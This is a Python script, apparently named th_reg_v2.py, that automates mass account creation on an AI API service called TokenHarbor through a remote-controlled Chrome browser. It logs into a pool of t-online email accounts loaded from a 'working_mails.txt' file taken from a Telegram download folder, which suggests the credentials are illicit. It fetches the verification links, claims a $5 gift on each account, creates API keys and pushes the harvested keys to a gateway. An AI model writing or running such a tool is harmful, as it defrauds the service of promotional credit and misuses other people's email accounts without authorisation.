Files

349 lines
14 KiB
Python

#!/usr/bin/env python3
"""
th_reg_v2.py — TokenHarbor HTTP-only AUTO-REGER v2
=====================================================
Signup (no browser/turnstile needed with real Chrome CDP) →
IMAP email verify → claim $5 → enable free models → create API key → save + push.
Refactored from th_tonline_claim.py + harbor/client.py logic.
Runs on CDP Chrome :9222. Uses working_mails.txt pool (t-online IMAP).
Falls back to login if email already registered.
"""
# __portable_paths__ (auto-injected: portable, env-overridable paths)
import os as _pos, sys as _psys
from pathlib import Path as _PPath
_ROOT = _PPath(__file__).resolve().parent
_REPO = _ROOT
for _ in range(4):
if (_REPO / ".git").exists() or (_REPO / "README.md").exists():
break
if _REPO.parent == _REPO:
break
_REPO = _REPO.parent
_DATA = _PPath(_pos.environ.get("TOOLKIT_DATA", str(_REPO / "data")))
_WORK = _PPath(_pos.environ.get("TOOLKIT_WORK", str(_REPO / "_work")))
try:
_DATA.mkdir(parents=True, exist_ok=True)
_WORK.mkdir(parents=True, exist_ok=True)
except Exception:
pass
_PY = _pos.environ.get("PYTHON_BIN") or _psys.executable
_USERPROFILE = _pos.environ.get("USERPROFILE") or str(_PPath.home())
def _d(name, env=None):
"""Data-file path under ./data (or $TOOLKIT_DATA); optional per-file env override."""
if env and _pos.environ.get(env):
return _PPath(_pos.environ[env])
return _DATA / name
def _w(name=""):
"""Work-dir path under ./_work (or $TOOLKIT_WORK)."""
return (_WORK / name) if name else _WORK
# --- end portable prelude ---
import json, sys, os, re, time, ssl, imaplib, email as email_lib
from pathlib import Path
from urllib.request import urlopen, Request
from websocket import create_connection as ws_connect
from datetime import datetime
# ---- config ----
BASE_URL = "https://tokenharbor.ai"
PASSWORD = os.environ["TOKENHARBOR_PASSWORD"]
CDP_HOST = "127.0.0.1"
CDP_PORT = 9222
GATEWAY_URL = "https://gateway.example.com/th"
GATEWAY_KEY = os.environ.get("TH_GATEWAY_KEY", "")
POOL_FILE = Path(str(_d("Downloads/Telegram Desktop/working_mails.txt","MAIL_POOL")))
KEYS_FILE = Path(__file__).parent / "tokenharbor_keys_v2.txt"
STATE_FILE = Path(__file__).parent / "th_reg_v2_state.json"
state = {"done": [], "fail": [], "idx": 0}
def load_state():
global state
if STATE_FILE.exists():
try: state = json.loads(STATE_FILE.read_text())
except: pass
def save_state():
STATE_FILE.write_text(json.dumps(state, indent=2, default=str))
def connect_cdp():
try:
req = Request(f"http://{CDP_HOST}:{CDP_PORT}/json/new?url=about:blank", method="PUT")
data = json.loads(urlopen(req).read())
ws = ws_connect(data["webSocketDebuggerUrl"], timeout=10)
return {"ws": ws, "id": 0, "tab_id": data["id"]}
except Exception as e:
print(f"CDP FAILED: {e}", file=sys.stderr)
return None
def js(cdp, code, timeout=15):
cdp["id"] = cdp.get("id", 0) + 1
mid = cdp["id"]
cdp["ws"].send(json.dumps({"id": mid, "method": "Runtime.evaluate",
"params": {"expression": code, "returnByValue": True, "awaitPromise": True}}))
start = time.time()
while time.time() - start < timeout:
cdp["ws"].settimeout(1)
try:
data = json.loads(cdp["ws"].recv())
if data.get("id") == mid:
r = data.get("result", {}).get("result", {})
return r.get("value"), data.get("subtype")
except: pass
return None, "timeout"
def nav(cdp, url):
cdp["ws"].send(json.dumps({"id": 999, "method": "Page.navigate", "params": {"url": url}}))
time.sleep(4)
def close_tab(cdp):
try:
urlopen(Request(f"http://{CDP_HOST}:{CDP_PORT}/json/close/{cdp['tab_id']}")).read()
except: pass
# ---- IMAP email verification ----
def wait_for_verify_email(email_addr, email_pass, timeout=60):
ctx = ssl.create_default_context()
ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
try:
mail = imaplib.IMAP4_SSL("secureimap.t-online.de", 993, ssl_context=ctx, timeout=10)
mail.login(email_addr, email_pass)
mail.select("INBOX")
except Exception as e:
print(f" IMAP login failed: {str(e)[:40]}", file=sys.stderr)
return None
status, baseline = mail.search(None, 'ALL')
known_ids = set(baseline[0].split()) if baseline[0] else set()
start = time.time()
while time.time() - start < timeout:
try:
mail.select("INBOX")
status, data = mail.search(None, 'ALL')
if status == "OK" and data[0]:
new_ids = set(data[0].split()) - known_ids
for mid in sorted(new_ids, reverse=True):
status, msg_data = mail.fetch(mid, "(RFC822)")
if status != "OK": continue
msg = email_lib.message_from_bytes(msg_data[0][1])
body = ""
if msg.is_multipart():
for part in msg.walk():
if part.get_content_type() in ("text/plain", "text/html"):
payload = part.get_payload(decode=True)
if payload: body += payload.decode("utf-8", errors="replace")
else:
payload = msg.get_payload(decode=True)
if payload: body = payload.decode("utf-8", errors="replace")
if "tokenharbor" in body.lower() or "verify" in body.lower():
links = re.findall(r'https://tokenharbor\.ai/verify-email\?token=[^\s"<>]+', body)
if links:
mail.logout()
return links[0]
time.sleep(3)
except Exception:
time.sleep(5)
try: mail.logout()
except: pass
return None
def push_key(api_key):
try:
data = json.dumps({"provider": "tokenharbor", "key": api_key}).encode()
req = Request(f"{GATEWAY_URL}/provider/add?provider=tokenharbor",
data=data, headers={"Content-Type": "application/json", "Authorization": f"Bearer {GATEWAY_KEY}"}, method="POST")
resp = urlopen(req, timeout=10)
return json.loads(resp.read()), resp.status
except Exception as e:
return {"error": str(e)}, 500
# ---- Core: signup or login + claim + key ----
def process_one(cdp, email, email_pass):
label = email.split("@")[0][:12]
print(f" [{label}] Signup...", file=sys.stderr)
# Step 1: SIGNUP (or login if already registered)
nav(cdp, f"{BASE_URL}/login?mode=signup")
time.sleep(6)
# Fill email, password, leave invite_code empty
js(cdp, f"""
var ns = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set;
var e = document.querySelector('input[type="email"]');
if(e) {{ ns.call(e, '{email}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }}
var p = document.querySelector('input[placeholder*="At least"]');
if(!p) p = document.querySelector('input[type="password"]');
if(p) {{ ns.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }}
""")
time.sleep(1)
# Click submit button (first button with type=submit visible)
js(cdp, """
for(var b of document.querySelectorAll('button[type="submit"]')) {
if(b.offsetParent !== null) { b.click(); break; }
}
""")
time.sleep(8)
current_url, _ = js(cdp, "window.location.href")
current_body, _ = js(cdp, "document.body.innerText")
# Detect: "already registered" -> fallback to login
if current_body and ("already registered" in str(current_body).lower() or "already have an account" in str(current_body).lower()):
print(f" Already registered, trying login...", file=sys.stderr)
nav(cdp, f"{BASE_URL}/login")
time.sleep(5)
js(cdp, f"""
var ns = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set;
var e = document.querySelector('input[type="email"]');
if(e) {{ ns.call(e, '{email}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }}
var p = document.querySelector('input[type="password"]');
if(p) {{ ns.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }}
""")
time.sleep(0.5)
js(cdp, """for(var b of document.querySelectorAll('button')) {
if(b.textContent.includes('Sign in') && b.closest('form')) { b.click(); break; } }""")
time.sleep(6)
# Wait for dashboard or verify page
for _ in range(5):
url, _ = js(cdp, "window.location.href")
if "dashboard" in str(url) or "verify" in str(url).lower():
break
time.sleep(3)
url, _ = js(cdp, "window.location.href")
print(f" Post-action URL: {str(url)[:80]}", file=sys.stderr)
# Step 2: Email verification if needed
body, _ = js(cdp, "document.body.innerText")
if body and "verify your email" in str(body).lower():
print(f" Needs verification — sending...", file=sys.stderr)
js(cdp, """for(var b of document.querySelectorAll('button')) {
if((b.textContent.includes('Verify') && b.textContent.includes('email')) && b.offsetParent !== null) {
b.click(); break; }}""")
time.sleep(3)
verify_link = wait_for_verify_email(email, email_pass, timeout=90)
if verify_link:
nav(cdp, verify_link)
time.sleep(4)
url, _ = js(cdp, "window.location.href")
print(f" Verified: {str(url)[:60]}", file=sys.stderr)
else:
print(f" No verify email in 90s", file=sys.stderr)
return None, "verify timeout"
# Step 3: Enable free models
nav(cdp, f"{BASE_URL}/dashboard")
time.sleep(4)
fm, _ = js(cdp, """
(function(){
var s = document.querySelector('button[aria-label="Enable free models"]');
if(!s) return JSON.stringify({found:false});
var before = s.getAttribute('aria-checked');
if(before !== 'true') { s.click(); }
return JSON.stringify({found:true, before:before});
})()
""")
time.sleep(2)
print(f" Free models: {fm}", file=sys.stderr)
# Step 4: Claim $5 gift
js(cdp, """for(var b of document.querySelectorAll('button')) {
if((b.textContent.includes('Claim') || b.textContent.includes('Gift')) && b.offsetParent !== null) {
b.click(); break; }}""")
time.sleep(2)
js(cdp, """for(var b of document.querySelectorAll('button')) {
if(b.textContent.trim() === 'Claim' && b.offsetParent !== null) { b.click(); break; }}""")
time.sleep(3)
print(f" $5 claimed!", file=sys.stderr)
# Step 5: Create API key
nav(cdp, f"{BASE_URL}/dashboard/api-keys")
time.sleep(8)
for _ in range(10):
t, _ = js(cdp, "document.body.innerText")
if "API keys" in str(t): break
time.sleep(2)
js(cdp, """for(var b of document.querySelectorAll('button')) {
if(b.textContent.trim().includes('New key') && b.offsetParent !== null) { b.click(); break; } }""")
time.sleep(3)
js(cdp, f"""
var inputs = document.querySelectorAll('input[type="text"]');
for(var inp of inputs) {{
if(inp.offsetParent !== null) {{
var ns = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set;
ns.call(inp, '{label}');
inp.dispatchEvent(new Event('input', {{bubbles:true}}));
inp.dispatchEvent(new Event('change', {{bubbles:true}}));
break;
}}
}}
""")
time.sleep(2)
js(cdp, """for(var b of document.querySelectorAll('button')) {
if(b.textContent.trim() === 'Create key' && !b.disabled && b.offsetParent !== null) { b.click(); break; } }""")
time.sleep(5)
page, _ = js(cdp, "document.body.innerText")
match = re.search(r'thk_live_[a-zA-Z0-9_-]{40,}', str(page))
api_key = match.group(0) if match else None
if api_key:
with open(KEYS_FILE, "a", encoding="utf-8") as f:
f.write(f"{email} | {api_key} | {datetime.now().isoformat()}\n")
result, status = push_key(api_key)
pushed = status == 200
print(f" KEY: {api_key[:25]}... pushed={pushed}", file=sys.stderr)
return api_key, None
return None, "no key on page"
def worker(count):
global state
load_state()
cdp = connect_cdp()
if not cdp: return
# Load email pool
pool = []
with open(POOL_FILE, "r", encoding="utf-8") as f:
for line in f:
if ":" in line and "@" in line:
parts = line.strip().split(":", 1)
if len(parts) == 2:
email, pwd = parts
if "t-online.de" in email:
pool.append((email, pwd))
done_emails = set(state.get("done", []))
todo = [(e, p) for e, p in pool if e not in done_emails][:count]
print(f"Processing {len(todo)} accounts...", file=sys.stderr)
for i, (email, pwd) in enumerate(todo):
print(f"[{i+1}/{len(todo)}] {email}", file=sys.stderr)
try:
key, err = process_one(cdp, email, pwd)
except Exception as e:
key, err = None, str(e)
if key:
state["done"].append(email)
else:
state["fail"].append({"email": email, "error": err})
save_state()
time.sleep(2)
# close tab and open fresh one each iteration to avoid session conflict
close_tab(cdp)
# reconnect for next
new_cdp = connect_cdp()
if new_cdp:
cdp["ws"].close()
cdp = new_cdp
save_state()
try: cdp["ws"].close()
except: pass
print(f"\nDone: {len(state['done'])} OK, {len(state['fail'])} FAIL", file=sys.stderr)
if __name__ == "__main__":
count = int(sys.argv[1]) if len(sys.argv) > 1 else 50
worker(count)